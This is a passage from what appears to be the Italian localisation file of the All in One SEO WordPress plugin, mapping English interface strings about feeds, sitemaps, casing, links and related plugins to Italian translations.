web.','The first word of each sentence starts with a capital.'=>'La prima parola di ogni frase inizia con la maiuscola.','Strip Punctuation'=>'Punteggiatura a strisce','Sentence Case'=>'Caso di sentenza','Punctuation Characters to Keep:'=>'Caratteri di punteggiatura da conservare:','Pound (#)'=>'Libbra (#)','Plus (+)'=>'Plus (+)','Please note that if you are importing post/term meta from %1$s v3.7.1 or below, this will only be successful if the post/term IDs of this site are identical to those of the source site.'=>'Tieni presente che se stai importando i meta degli articoli/termini da %1$s v3.7.1 o inferiore, l\'operazione avrà successo solo se gli ID degli articoli/termini di questo sito sono identici a quelli del sito di origine.','Numbers (0-9)'=>'Numeri (0-9)','Major words are capitalized and minor words remain in their original casing.'=>'Le parole principali sono in maiuscolo mentre quelle secondarie rimangono nella loro forma originale.','Lower Case'=>'Minuscolo','Looking for meta keywords?'=>'Stai cercando delle meta-parole chiave?','Go to the Advanced tab to add/edit meta keywords'=>'Vai alla scheda Avanzate per aggiungere/modificare le meta-parole chiave','Filename'=>'Nome del file','Date Archive Pages'=>'Pagine delle date d\'archivio','Dashes (-)'=>'Trattini (-)','Custom Role'=>'Ruolo personalizzato','Convert casing of image attributes'=>'Converti le impostazioni maiuscole/minuscole per gli attributi immagine','Control the title, alt tag, caption, description and filename of your images (Plus, Pro & Elite plans only)'=>'Controlla il titolo, il tag alt, la didascalia, la descrizione e il nome del file delle tue immagini (solo piani Plus, Pro ed Elite)','Clean uploaded image filenames'=>'Pulisci i nomi dei file delle immagini caricate','Choose which casing should be applied to the attribute.'=>'Scegli quale impostazione maiuscole/minuscole applicare all\'attributo.','Choose whether your %1$s should be included in search results. If you select "No", then your %1$s will be noindexed and excluded from the sitemap so that search engines ignore them.'=>'Scegli se %1$s deve comparire nei risultati della ricerca. Se selezioni "No", allora a %1$s non verrà applicata l\'indicizzazione né l\'inclusione nella sitemap, così i motori di ricerca non ne terranno conto.','Casing'=>'Maiuscole/minuscole','Caption'=>'Didascalia','Autogenerate image attributes'=>'Autogenera gli attributi per le immagini','Autogenerate %1$s on Upload'=>'Autogenera una %1$s durante il caricamento','Apostrophe (\')'=>'Apostrofo (\')','Ampersand (&)'=>'E commerciale (&)','Alt Tag'=>'Tag Alt','All letters are converted to lower case (small) letters.'=>'Tutte le lettere vengono convertite in minuscole.','Add a Redirect'=>'Aggiungi un reindirizzamento','%2$sYour redirect was added and you may edit it <a href="%1$s" target="_blank">here</a>.%3$s'=>'%2$sIl tuo redirect è stato aggiunto e <a href="%1$s" target="_blank">puoi modificarlo qui</a>.%3$s','%1$s Format'=>'Formato %1$s','We were unable to save the .htaccess file due to syntax errors. Please check the code below and try again.'=>'Non siamo riusciti a salvare il file .htaccess a causa di errori di sintassi. Verifica il codice qui sotto e riprova.','We were unable to save the .htaccess file because the file was not writable. Please check the file permissions and try again.'=>'Non siamo riusciti a salvare il file .htaccess perché non era scrivibile. Verifica i permessi del file e riprova.','WordPress %1$s | AIOSEO %2$s'=>'WordPress %1$s | AIOSEO %2$s','The HTML anchor allows %1$s to link directly to your header from this table of contents block. Feel free to edit if you want, but an anchor is required. For headings without an anchor, %1$s will automatically generate them.'=>'L\'ancora HTML consente a %1$s di creare link diretti al tuo header da questo blocco di indice. Puoi modificarlo in qualsiasi momento, ma l\'ancoraggio è necessario. %1$s lo genererà automaticamente per i titoli senza ancoraggio.','Edit HTML Anchor:'=>'Modifica l\'ancora HTML:','Are you sure you want to delete this link?'=>'Confermi di voler eliminare questo link?','Are you sure you want to delete these links?'=>'Confermi di voler eliminare questi link?','Add a heading block below to begin generating the Table of Contents.'=>'Aggiungi un blocco di heading in basso per iniziare a generare l\'indice dei contenuti.','%1$s can automatically output a table of contents based on your heading tags below. Search engines sometimes use table of contents in search results or rich snippets which can help you increase your rankings.'=>'%1$s è in grado di creare automaticamente un indice dei contenuti in base ai tuoi heading tag. I motori di ricerca a volte usano gli indici nei risultati della ricerca o i rich snippet, che possono aiutarti a migliorare il posizionamento.','Your headline would be more likely to get clicks if it had more uncommon words.'=>'La tua headline avrebbe più probabilità di ottenere clic se avesse più parole non comuni.','Yes, count me in!'=>'Sì, contate su di me!','Write an answer...'=>'Scrivi una risposta...','Write a question...'=>'Scrivi una domanda...','Word balance'=>'Equilibrio delle parole','Who should use AIOSEO?'=>'Chi dovrebbe usare AIOSEO?','Want to get the most out of Clarity? Integrate Clarity with Google Analytics using MonsterInsights today!'=>'Vuoi ottenere il massimo da Clarity? Integra Clarity con Google Analytics utilizzando MonsterInsights oggi stesso!','VAT ID:'=>'ID IVA:','Too Many Words'=>'Troppe parole','To let search engines know which profiles are associated with this site, enter them below:'=>'Fai sapere ai motori di ricerca quali profili sono associati a questo sito, inseriscili qui sotto:','Title Wrapper'=>'Contenitore del titolo','Table of Contents Settings'=>'Impostazioni dell\'indice','Store'=>'Negozio','Reordering the headings in the Table of Contents block is a feature that can only be used by Pro users. Upgrade to Pro to unlock this advanced functionality.'=>'La riorganizzazione dei titoli nel blocco Tavola dei contenuti è una funzione che può essere utilizzata solo dagli utenti Pro. Effettua l\'upgrade a Pro per sbloccare questa funzionalità avanzata.','Reorder'=>'Riordina','Reduce Word Count'=>'Riduci il numero di parole','Open Your RSS Feed'=>'Apri il tuo feed RSS','Not Enough Words'=>'Non ci sono abbastanza parole','Needs improvement'=>'Da migliorare','Meta Description'=>'Meta descrizione','List Style'=>'Stile dell\'elenco','IndexNow'=>'IndexNow','Headlines with 20-30% common words are more likely to get clicks.'=>'I titoli con il 20-30% di parole comuni hanno maggiori probabilità di ottenere clic.','Great choice! Get started with MonsterInsights today to see how people find and use your website.'=>'Ottima scelta! Inizia a lavorare con MonsterInsights oggi stesso per vedere come le persone trovano e poi usano il tuo sito web.','Get relevant suggestions for adding internal links to all your content as well as finding any orphaned posts that have no internal links.'=>'Ottieni suggerimenti pertinenti per aggiungere link interni a tutti i tuoi contenuti e per trovare i post orfani che non hanno link interni.','Get improved features and faster fixes by sharing non-sensitive data via usage tracking that shows us how %1$s is being used. No personal data is tracked or stored.'=>'Ti offriamo migliori funzionalità e correzioni più rapide grazie alla condivisione di dati non sensibili con il tracciamento dell\'utilizzo, che ci mostra come le persone usano %1$s. Non tracciamo né memorizziamo nessun dato personale.','For best results, you should strive for %1$s%3$d and above%2$s.'=>'Per ottenere risultati ottimali, dovresti puntare a %1$s%3$d o superiore%2$s.','FAQ schema is a Pro feature.'=>'Lo schema FAQ è una funzionalità Pro.','FAQ Options'=>'Opzioni FAQ','Done'=>'Fatto','Display Block'=>'Blocco di visualizzazione','Dedicated HTML Sitemaps do not work while using "plain" permalinks. Please update your %1$spermalink structure%2$s to use this option.'=>'Le sitemap HTML dedicate non funzionano quando si usano permalink "semplici". Aggiorna %1$sla struttura dei permalink%2$s per utilizzare questa opzione.','Build a Better %1$s'=>'Costruisci un migliore %1$s','at least one'=>'almeno uno','All in One SEO is perfect for business owners, bloggers, designers, developers, photographers, and basically everyone else. If you want to optimize your WordPress SEO, then you need to use All in One SEO Pack.'=>'All in One SEO è perfetto per chi ha un\'azienda, un blog, per chi si occupa di design, sviluppo, fotografia... o di qualsiasi altro settore. Se vuoi ottimizzare la SEO di WordPress, allora devi usare All in One SEO Pack.','A very good score is between %1$s%3$d and %4$d%2$s.'=>'Un punteggio è ottimo quando è compreso tra %1$s%3$d e %4$d%2$s.','%1$s Table of Contents'=>'Indice dei contenuti %1$s','Sample Parent Term Name'=>'Esempio di nome del termine genitore','The name of the parent term of the current term.'=>'Il nome del termine genitore del termine corrente.','Parent Term'=>'Termine genitore','The permalink for this post just changed! This could result in 404 errors for your site visitors.'=>'Il permalink di questo articolo è appena stato cambiato! Questo potrebbe causare errori 404 per chi visita il sito.','Zip Code'=>'C.A.P.','Your RSS feed has been disabled. Disabling the global RSS feed is NOT recommended. This will prevent users from subscribing to your content and can hurt your SEO rankings. You can re-enable the global RSS feed in the %1$scrawl content settings%2$s.'=>'Il tuo feed RSS è stato disabilitato. La disabilitazione del feed RSS globale NON è consigliata. Questo impedisce agli utenti di iscriversi ai tuoi contenuti e può danneggiare i tuoi posizionamenti SEO. Puoi riattivare il feed RSS globale nelle impostazioni di %1$scrawl content%2$s.','You\'re almost there! Once you complete the SEO setup your site will be optimized to rank in search engine results!'=>'Ci sei quasi! Una volta completata la configurazione SEO, il tuo sito sarà ottimizzato per posizionarsi nei risultati dei motori di ricerca!','You can import additional page URL\'s to your sitemap using a CSV file. The following 4 columns are required: %1$sPage URL, Priority, Frequency, Date Modified.%2$s'=>'Puoi importare ulteriori URL di pagine nella tua sitemap utilizzando un file CSV. Sono necessarie le seguenti 4 colonne: %1$sURL della pagina, Priorità, Frequenza e Data di modifica.%2$s','You can add additional social profile URLs here, separated by a new line.'=>'Qui puoi aggiungere altri URL di profili social, separati da una nuova riga.','You are using a static home page which is found under Pages. You can %1$sedit your home page settings%2$s directly to change the title, meta description and image.'=>'Stai usando una pagina iniziale statica che si trova nella sezione Pagine. Puoi %1$smodificare direttamente le impostazioni della tua homepage%2$s per cambiare il titolo, la meta descrizione e l\'immagine.','You are using a static home page which is found under Pages. You can %1$sedit your home page settings%2$s directly to change the title and description.'=>'Stai usando una homepage statica che si trova sotto la sezione Pagine. Puoi %1$smodificare direttamente le impostazioni della tua homepage%2$s per cambiare il titolo e la descrizione.','Write your post title to see the analyzer data. This Headline Analyzer tool enables you to write irresistible SEO headlines that drive traffic, shares, and rank better in search results.'=>'Scrivi il titolo del tuo articolo per vedere i dati dell\'analizzatore. Questo strumento Headline Analyzer ti permette di scrivere titoli SEO irresistibili, che portano traffico, condivisioni e si posizionano meglio nei risultati di ricerca.','Without a Focus Keyphrase'=>'Senza frase chiave di riferimento','View %1$s'=>'Visualizza %1$s','URL already exists.'=>'L\'URL esiste già.','Upgrade to Pro Today!'=>'Passa a Pro oggi stesso!','Unable to read CSV file. Please check if the file is valid and try again.'=>'Impossibile leggere il file CSV. Controlla se il file è valido e riprova.','Try New Headline'=>'Prova un nuovo titolo','Total %1$s'=>'Totale %1$s','Too Short 🙃'=>'Troppo breve 🙃','Too Long 😑'=>'Troppo lungo 😑','This will permanently remove this page from the additional pages sitemap.'=>'Questo rimuoverà in modo permanente la pagina dalla sitemap delle pagine aggiuntive.','This will permanently remove the selected pages from the additional pages sitemap.'=>'Questo rimuoverà in modo permanente le pagine selezionate dalla sitemap delle pagine aggiuntive.','This option allows you to control whether %1$s should parse shortcodes when generating data such as the SEO title/meta description. Enabling this setting may cause conflicts with third-party plugins/themes. %2$s'=>'Questa opzione ti permette di controllare se %1$s deve analizzare gli shortcode quando genera dati come il titolo SEO e la descrizione meta. L\'attivazione di questa impostazione può causare conflitti con plugin/temi di terze parti. %2$s','This is a global feed of your site output in the RDF/RSS 1.0 format. %1$s'=>'Si tratta di un feed globale del tuo sito nel formato RDF/RSS 1.0. %1$s','This is a global feed of your site output in the Atom format. %1$s'=>'Si tratta di un feed globale del tuo sito in formato Atom. %1$s','This Headline Analyzer is part of %1$s to help you increase your traffic. %2$sAnalyze your site further here%3$s →%4$s'=>'Questo Headline Analyzer fa parte di %1$s e ti aiuta ad aumentare il traffico. %2$sAnalizza ulteriormente il tuo sito qui%3$s →%4$s','The static posts page feed allows users to subscribe to any new content added to your blog page.'=>'Il feed della pagina dei post statici permette agli utenti di iscriversi a qualsiasi nuovo contenuto aggiunto alla pagina del tuo blog.','The search feed allows visitors to subscribe to your content based on a specific search term.'=>'Il feed di ricerca permette a chi visita il tuo sito di iscriversi ai contenuti in base a un termine di ricerca specifico.','The post comments feed allows your users to subscribe to any new comments on a specific page or post.'=>'Il feed dei commenti dell\'articolo permette ai tuoi utenti di iscriversi ai nuovi commenti su una pagina o un articolo specifico.','The paginated RSS feeds are for any posts or pages that are paginated.'=>'I feed RSS paginati si applicano a tutti gli articoli o alle pagine paginate.','The global RSS feed is how users subscribe to any new content that has been created on your site.'=>'Il feed RSS globale è il modo in cui gli utenti si iscrivono ai nuovi contenuti creati sul tuo sito.','The global comments feed allows users to subscribe to any new comments added to your site.'=>'Il feed globale dei commenti consente agli utenti di iscriversi a qualsiasi nuovo commento aggiunto al tuo sito.','The file that you\'ve currently selected is not a CSV file.'=>'Il file attualmente selezionato non è un file CSV.','The authors feed allows your users to subscribe to any new content written by a specific author.'=>'Il feed degli autori permette ai tuoi utenti di iscriversi a tutti i nuovi contenuti scritti da un determinato autore.','The attachments feed allows users to subscribe to any changes to your site made to media file categories.'=>'Il feed degli allegati consente agli utenti di iscriversi a tutte le modifiche apportate sul tuo sito alle categorie di file multimediali.','Taxonomy Feeds'=>'Feed della tassonomia','Super! 🔥🔥🔥'=>'Super! 🔥🔥🔥','Static Posts Page Feed'=>'Feed di pagina dei post statici','SEO Setup'=>'Impostazione SEO','Select which Taxonomies should include an RSS feed.'=>'Seleziona quali tassonomie devono includere un feed RSS.','Select which post type archives should include an RSS feed. This only applies to post types that include an archive page.'=>'Seleziona gli archivi dei post type che devono includere un feed RSS. Questo vale solo per i post type che includono una pagina di archivio.','Search Preview'=>'Anteprima di ricerca','Search Feed'=>'Feed di ricerca','Run Shortcodes'=>'Esegui gli shortcode','REST API support'=>'Supporto API REST','REST API'=>'API REST','Disabling unnecessary RSS feeds can help save search engine crawl quota and speed up content indexing for larger sites. If you choose to disable any feeds, those feed links will automatically redirect to your homepage or applicable archive page.'=>'Disabilitare i feed RSS non necessari può aiutare a salvare la quota di crawl dei motori di ricerca e a velocizzare l\'indicizzazione dei contenuti per i siti più grandi. Se decidi di disabilitare i feed, i link verranno automaticamente reindirizzati alla tua homepage o alla pagina di archivio applicabile.','RDF/RSS 1.0 Feed'=>'Feed RDF/RSS 1.0','Previous Scores'=>'Punteggi precedenti','Post Type Archive Feeds'=>'Feed degli archivi dei post type','Post Comment Feeds'=>'Feed dei commenti degli articoli','Personal Options'=>'Opzioni personali','Paginated RSS Feeds'=>'Feed RSS paginati','Open Your Static Posts Page RSS Feed'=>'Apri il feed RSS della tua pagina dei post statici','Open Your Comments RSS Feed'=>'Apri il feed RSS dei tuoi commenti','Open Your Atom Feed'=>'Apri il tuo feed Atom','Okay'=>'Ok','NOTE: Enabling this setting may cause conflicts with third-party plugins/themes. %1$s'=>'NOTA: l\'attivazione di questa impostazione può causare conflitti con plugin/temi di terze parti. %1$s','Not Looking Great'=>'Non sembra un granché','New Score'=>'Nuovo punteggio','Most readers only look at the first and last 3 words of a headline before deciding whether to click.'=>'La maggior parte delle persone legge solo le prime e le ultime 3 parole di un titolo prima di decidere se fare clic.','Missing social markup!'=>'Manca il markup social!','Manage your post and term SEO meta via the WordPress REST API. This addon also works seamlessly with headless WordPress installs. (Plus, Pro & Elite plans only)'=>'Gestisci la meta SEO dei tuoi termini e dei tuoi post tramite l\'API REST di WordPress. Questo add-on funziona perfettamente anche con le installazioni di WordPress headless. (Solo per i piani Plus, Pro ed Elite)','Manage your post and term SEO meta via the WordPress REST API. This addon also works seamlessly with headless WordPress installs.'=>'Gestisci i meta SEO di articoli e termini tramite l\'API REST di WordPress. Questo add-on funziona perfettamente anche con le installazioni headless di WordPress.','Manage existing links, get relevant suggestions for adding internal links to older content, discover orphaned posts and more.'=>'Gestisci i link esistenti, ottieni suggerimenti pertinenti per aggiungere link interni ai contenuti più vecchi, scopri se ci sono articoli orfani e molto altro.','Looks Good! 👍👍'=>'Niente male! 👍','Include All Post Type Archives'=>'Includi tutti gli archivi dei post type','Improve SEO Rankings'=>'Migliora il posizionamento SEO','Import from CSV'=>'Importa da CSV','Import Additional Pages'=>'Importa pagine aggiuntive','If you don\'t already have a project on %1$s, create a project %2$shere%3$s.'=>'Se non hai ancora un progetto su %1$s, %2$screa un progetto qui%3$s.','Here is how your headline will look like in Google search results page.'=>'Ecco come apparirà il tuo titolo nella pagina dei risultati della ricerca di Google.','Good 🙂'=>'Ottimo 🙂','Global RSS Feed'=>'Feed RSS globale','Global Comments RSS Feed'=>'Feed RSS commenti globali','Getting There'=>'Ci siamo quasi','Get the #1 conversion optimization plugin to convert your growing website traffic into subscribers, leads and sales.'=>'Ottieni il plugin di ottimizzazione delle conversioni numero uno sul mercato per trasformare il traffico crescente del tuo sito web in iscritti, contatti e vendite.','Get additional keyphrases and many more modules! %1$s'=>'Ottieni frasi chiave aggiuntive e molti altri moduli! %1$s','Follow on YouTube'=>'Seguici su YouTube','Enter your verification codes below to activate webmaster tools.'=>'Inserisci i codici di verifica qui sotto per attivare gli strumenti per webmaster.','Enter a different headline than your post title to see how it compares.'=>'Inserisci un titolo diverso da quello del tuo articolo per vedere il confronto.','Ending Words'=>'Parole alla fine','Edit %1$s'=>'Modifica %1$s','Easily create and manage redirects for your broken links to avoid confusing search engines and users, as well as losing valuable backlinks.'=>'Crea e gestisci facilmente i reindirizzamenti per i tuoi link non funzionanti, così eviti di confondere i motori di ricerca e gli utenti, oltre che di perdere preziosi backlink.','Download Sample CSV File'=>'Scarica il file CSV di esempio','Disabling the global RSS feed is NOT recommended. This will prevent users from subscribing to your content and can hurt your SEO rankings.'=>'NON ti consigliamo di disattivare il feed RSS globale. La disattivazione impedisce agli utenti di iscriversi ai tuoi contenuti e potrebbe danneggiare il tuo posizionamento SEO.','Did you know you can automatically add internal links using Link Assistant? %1$s'=>'Sapevi che puoi aggiungere automaticamente i link interni con Link Assistant? %1$s','Delete Selected Pages'=>'Elimina le pagine selezionate','Delete Page'=>'Elimina la pagina','Customer Data'=>'Dati del cliente','Current Score'=>'Punteggio attuale','CSV example file'=>'File CSV di esempio','Crawl Cleanup'=>'Ottimizzazione crawl','Could Be Better'=>'Potrebbe andare meglio','Conversion Tools'=>'Strumenti di conversione','Complete support for schema markup so you can get more clicks and traffic with rich snippets.'=>'Supporto completo per il markup Schema che ti fa ottenere più clic e traffico grazie ai rich snippet.','Compare the percentages of your results to the goal for each category and adjust as necessary.'=>'Confronta le percentuali dei tuoi risultati con l\'obiettivo per ogni categoria e fai gli aggiustamenti necessari.','Choose a Post Type'=>'Scegli un tipo di post','Below are the TruSEO scores of your published posts. Take some time to improve your TruSEO score to help increase your rankings.'=>'Di seguito ti indichiamo i punteggi TruSEO dei tuoi articoli pubblicati. Dedica un po\' di tempo a perfezionare il tuo punteggio TruSEO per migliorare il posizionamento del tuo sito.','Beginning Words'=>'Parole iniziali','Beginning & Ending Words'=>'Parole iniziali e finali','Author Feeds'=>'Feed degli autori','Attachments Feed'=>'Feed degli allegati','Atom Feed'=>'Feed Atom','Analyze Headline'=>'Analizza il titolo','AIOSEO Local - Opening Hours'=>'AIOSEO Local - Orari di apertura','AIOSEO Local - Map'=>'AIOSEO Local - Mappa','AIOSEO Local - Locations'=>'AIOSEO locale - Località','AIOSEO Local - Business Info'=>'AIOSEO Local - Informazioni commerciali','AIOSEO - HTML Sitemap'=>'AIOSEO - Sitemap HTML','Additional Profiles'=>'Altri profili','Add Page'=>'Aggiungi pagina','Add IndexNow support to instantly notify search engines when your content has changed.'=>'Aggiungi il supporto di IndexNow per notificare istantaneamente ai motori di ricerca le modifiche ai tuoi contenuti.','%1$s Project ID'=>'ID progetto %1$s','%1$s Overview'=>'Panoramica di %1$s','%1$s helps you understand how users interact with your website through heatmaps and session recordings. %2$s'=>'%1$s ti aiuta a capire come le persone interagiscono con il tuo sito web attraverso le heatmap e le registrazioni delle sessioni. %2$s','Sample description for media.'=>'Esempio di descrizione per i media.','Description for the current media file.'=>'Descrizione del file media attuale.','Hey, we noticed you have been using %1$s for some time - that’s awesome! Could you please do us a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?'=>'Ehi, abbiamo notato che usi %1$s da un po\' di tempo - è fantastico! Potresti farci un GRANDE favore e dare una valutazione a 5 stelle su WordPress per aiutarci a diffondere la notizia e aumentare la nostra motivazione?','%1$s %2$s %3$s Feed'=>'%1$s %2$s Feed per %3$s','%1$s %2$s Search Results for “%3$s” Feed'=>'%1$s %2$s Feed dei risultati della ricerca per “%3$s”','%1$s %2$s Posts by %3$s Feed'=>'%1$s %2$s Feed degli articoli scritti da %3$s','%1$s %2$s %3$s %4$s Feed'=>'%1$s %2$s Feed %3$s %4$s','%1$s %2$s %3$s Tag Feed'=>'Feed dei tag per %3$s %2$s %1$s','%1$s %2$s %3$s Category Feed'=>'Feed della categoria per %3$s %2$s %1$s','%1$s %2$s %3$s Comments Feed'=>'Feed dei commenti per %3$s %2$s %1$s','feed link-'=>'-','Installs OptinMonster'=>'Installa OptinMonster','%s Overview'=>'Panoramica di %s','%s Setup'=>'Configurazione di %s','View supported browsers'=>'Visualizza i browser supportati','You are using a browser which is no longer supported by %1$s. Please update or use another browser in order to access the plugin settings.'=>'Stai usando un browser non più supportato da %1$s. Ti invitiamo ad aggiornare o a usare un altro browser per accedere alle impostazioni del plugin.','Your browser version is not supported'=>'La versione del tuo browser non è supportata','Resolve This Issue'=>'Risolvi questo problema','Copy the error message above and paste it in a message to the %1$s support team.'=>'Copia il messaggio di errore qui sopra e incollalo nel messaggio che invierai al team di assistenza di %1$s.','There seems to be an issue running JavaScript on your website. %1$s%2$s is built with JavaScript to give you the best experience possible.'=>'Sembra che ci sia un problema nell\'esecuzione di JavaScript sul tuo sito web. %1$s%2$s è costruito con JavaScript per offrirti la migliore esperienza possibile.','Ooops! It Appears JavaScript Didn’t Load'=>'Ooops! Sembra che JavaScript non si sia caricato','%1$s Sitemap %2$s'=>'Sitemap %1$s %2$s','Don\'t update the modified date'=>'Non aggiornare la data di modifica','Open Redirects'=>'Apri i reindirizzamenti','Here you can add a redirect or view your existing redirects from this page. Click on the button below to view the Redirects panel.'=>'Qui puoi aggiungere un reindirizzamento o visualizzare i reindirizzamenti esistenti da questa pagina. Fai clic sul pulsante qui sotto per visualizzare il pannello dei reindirizzamenti.','Go to Social Networks'=>'Vai alla scheda Social network','Open Graph'=>'Open Graph','No %1$s markup will be output for your post because it is currently disabled. You can enable %1$s markup in the Social Networks settings. %2$s'=>'Il markup di %1$s non verrà generato per il tuo articolo perché attualmente è disabilitato. Puoi attivare il markup %1$s nelle impostazioni dei Social Network. %2$s','minimum input length for searching post links3'=>'3','Link selected.'=>'Link selezionato.','Insert/edit link'=>'Inserisci/modifica il link','Got It!'=>'Ricevuto!','You can now manage your SEO settings inside of %1$s via %2$s before you publish your post!'=>'Ora puoi gestire le impostazioni SEO all\'interno di %1$s tramite %2$s prima della pubblicazione!','New: %1$s %2$s integration'=>'Novità: integrazione di %1$s %2$s','The options below are disabled because you are using %1$s to manage your SEO. They can be changed in the %2$sSearch Appearance menu%3$s.'=>'Le opzioni sottostanti sono disattivate perché stai utilizzando %1$s per gestire la tua SEO. Possono essere modificate nel %2$smenu Aspetto della ricerca %3$s.','IndexNow API Key'=>'Chiave API di IndexNow','Index Now'=>'Indicizza ora','You can manually set an API key here, but if left blank a new one will be auto-generated. %1$s'=>'Puoi impostare manualmente una chiave API in questo punto, ma se viene lasciata vuota ne verrà generata una nuova. %1$s','Regenerate API Key'=>'Rigenerare la chiave API','Update IndexNow'=>'Aggiorna IndexNow','The IndexNow addon requires an update. %1$s %2$s requires a minimum version of %3$s for the %4$s addon. You currently have %5$s installed.'=>'L\'add-on IndexNow richiede un aggiornamento. %1$s %2$s richiede una versione minima di %3$s per l\'add-on %4$s. Attualmente hai installato %5$s.','The IndexNow addon is required to use this feature.'=>'Per utilizzare questa funzione è necessario l\'add-on IndexNow.','Activate IndexNow'=>'Attiva IndexNow','Links & Suggestions for "%1$s"'=>'Link e suggerimenti per "%1$s"','Are you sure you want to delete all links?'=>'Confermi di voler eliminare tutti i link?','Are you sure you want to delete these pages?'=>'Sei sicuro di voler eliminare queste pagine?','Are you sure you want to delete this page?'=>'Vuoi davvero eliminare questa pagina?','Delete Link'=>'Elimina il link','See a Full Domains Report'=>'Guarda il report completo sui domini','Total External Links'=>'Totale link esterni','# of Links'=>'# Numero di Link','other domains'=>'altri domini','See a Full Links Report'=>'Guarda il report completo sui link','Total Links'=>'Totale link','Orphaned Posts'=>'Articoli orfani','Affiliate Links'=>'Link affiliati','External Links'=>'Link esterni','Posts Crawled'=>'Articoli scansionati','Orphaned posts are posts that have no inbound internal links yet and may be more difficult to find by search engines.'=>'Gli articoli orfani sono articoli che non hanno ancora link interni in entrata e potrebbero essere più difficili da trovare per i motori di ricerca.','See All Linking Opportunities'=>'Vedi tutte le opportunità di link','Linking Opportunities'=>'Opportunità di collegamento','Link Suggestions'=>'Suggerimenti per i link','External'=>'Esterno','Affiliate'=>'Affiliato','Outbound Internal'=>'Interni in uscita','Domain'=>'Dominio','Yes, I want to delete all links'=>'Sì, voglio eliminare tutti i link','Yes, I want to delete these links'=>'Sì, voglio eliminare questi link','Yes, I want to delete this link'=>'Sì, voglio eliminare questo link','Most Linked to Domains'=>'I domini più linkati','No items found.'=>'Nessun elemento trovato.','Internal vs External vs Affiliate Links'=>'Link interni vs link esterni vs link affiliati','View detailed link & domain reports, manage existing links and discover new internal linking opportunities through smart suggestions (Pro & Elite plans only)'=>'Visualizza report dettagliati sui link e sui domini, gestisci i link esistenti e scopri nuove opportunità di link interni grazie a suggerimenti intelligenti (solo piani Pro ed Elite)','A simple & powerful event calendar plugin for WordPress that comes with all the event management features including payments, scheduling, timezones, ticketing, recurring events, and more.'=>'Un semplice e potente plugin WordPress per il calendario degli eventi: è dotato di tutte le funzionalità di gestione degli eventi, tra cui pagamenti, programmazione, fasce orarie, biglietteria, eventi ricorrenti e molto altro.','The best WordPress eCommerce plugin for selling digital downloads. Start selling eBooks, software, music, digital art, and more within minutes. Accept payments, manage subscriptions, advanced access control, and more.'=>'Il miglior plugin WordPress di eCommerce per la vendita di prodotti digitali. Vendi eBook, software, musica, arte digitale e molto altro in pochi minuti. Accetta i pagamenti, gestisci le iscrizioni, controlla in modo avanzato gli accessi e molto altro.','The #1 Stripe payments plugin for WordPress. Start accepting one-time and recurring payments on your WordPress site without setting up a shopping cart. No code required.'=>'Il plugin WordPress numero 1 per i pagamenti Stripe. Accetta pagamenti sia una tantum che ricorrenti sul tuo sito WordPress senza dover configurare un carrello della spesa. E tutto senza mai toccare il codice.','The #1 affiliate management plugin for WordPress. Easily create an affiliate program for your eCommerce store or membership site within minutes and start growing your sales with the power of referral marketing.'=>'Il plugin WordPress numero 1 per la gestione delle affiliazioni. Crea in pochi minuti un programma di affiliazione per il tuo negozio eCommerce o sito di membership e fai crescere le tue vendite con la potenza del referral marketing.','The most advanced WordPress search plugin. Customize your WordPress search algorithm, reorder search results, track search metrics, and everything you need to leverage search to grow your business.'=>'Il più avanzato plugin di ricerca per WordPress. Personalizza l\'algoritmo di ricerca di WordPress, riordina i risultati di ricerca, traccia le metriche e tutto ciò che serve per sfruttare la ricerca e far crescere il tuo business.','Connect with your visitors after they leave your website with the leading web push notification software. Over 10,000+ businesses worldwide use PushEngage to send 15 billion notifications each month.'=>'Rimani in contatto con chi ha visitato il tuo sito web: usa il software leader per le notifiche push. Oltre 10.000 aziende in tutto il mondo usano PushEngage per inviare 15 miliardi di notifiche al mese.','Easily display YouTube videos on your WordPress site without writing any code. Comes with multiple layouts, ability to embed live streams, video filtering, ability to combine multiple channel videos, and more.'=>'Visualizza con facilità i video di YouTube sul tuo sito WordPress senza scrivere alcun codice. Include numerosi layout, capacità di incorporare i live stream, filtrare i video, combinare più canali video e molto altro.','Easily display Twitter content in WordPress without writing any code. Comes with multiple layouts, ability to combine multiple Twitter feeds, Twitter card support, tweet moderation, and more.'=>'Visualizza con facilità i contenuti di Twitter in WordPress senza scrivere alcun codice. Include numerosi layout, capacità di combinare più feed di Twitter, supporto per le schede di Twitter, moderazione dei tweet e altro ancora.','Easily display Instagram content on your WordPress site without writing any code. Comes with multiple templates, ability to show content from multiple accounts, hashtags, and more. Trusted by 1 million websites.'=>'Visualizza con facilità i contenuti di Instagram sul tuo sito WordPress senza scrivere alcun codice. Include numerosi template, capacità di mostrare contenuti da più account, hashtag e altro ancora. 1 milione di siti web gli hanno dato fiducia.','Easily display Facebook content on your WordPress site without writing any code. Comes with multiple templates, ability to embed albums, group content, reviews, live videos, comments, and reactions.'=>'Visualizza con facilità i contenuti di Facebook sul tuo sito WordPress senza scrivere alcun codice. Include numerosi template, capacità di incorporare album, contenuti di gruppo, recensioni, video live, commenti e reazioni.','Turn your website visitors into brand ambassadors! Easily grow your email list, website traffic, and social media followers with the most powerful giveaways & contests plugin for WordPress.'=>'Trasforma le persone che visitano il tuo sito in brand ambassador! Fai crescere in fretta la tua lista di email, il traffico del sito web e i follower dei social media grazie al più potente plugin WordPress per giveaway e concorsi.','Boost your sales and conversions by up to 15% with real-time social proof notifications. TrustPulse helps you show live user activity and purchases to help convince other users to purchase.'=>'Aumenta vendite e conversioni fino al 15% con le notifiche di riprova sociale in tempo reale. TrustPulse ti permette di mostrare in diretta l\'attività degli utenti e i loro acquisti per convincere altre persone ad acquistare.','The fastest drag & drop landing page builder for WordPress. Create custom landing pages without writing code, connect them with your CRM, collect subscribers, and grow your audience. Trusted by 1 million sites.'=>'Il più veloce costruttore di landing page drag & drop per WordPress. Crea landing page personalizzate senza bisogno di scrivere codice, connettile al tuo CRM, raccogli gli indirizzi degli abbonati e fai crescere il tuo pubblico. 1 milione di siti gli ha dato fiducia.','Improve your WordPress email deliverability and make sure that your website emails reach user’s inbox with the #1 SMTP plugin for WordPress. Over 3 million websites use it to fix WordPress email issues.'=>'Migliora la deliverability delle tue email su WordPress e assicurati che le email del tuo sito web raggiungano la casella di posta degli utenti con il plugin SMTP numero uno per WordPress. Oltre 3 milioni di siti web lo usano per correggere i problemi delle email di WordPress.','The leading WordPress analytics plugin that shows you how people find and use your website, so you can make data driven decisions to grow your business. Properly set up Google Analytics without writing code.'=>'Il principale plugin di analisi per WordPress che ti mostra come le persone trovano e usano il tuo sito: così potrai prendere decisioni guidate dai dati per far crescere il tuo 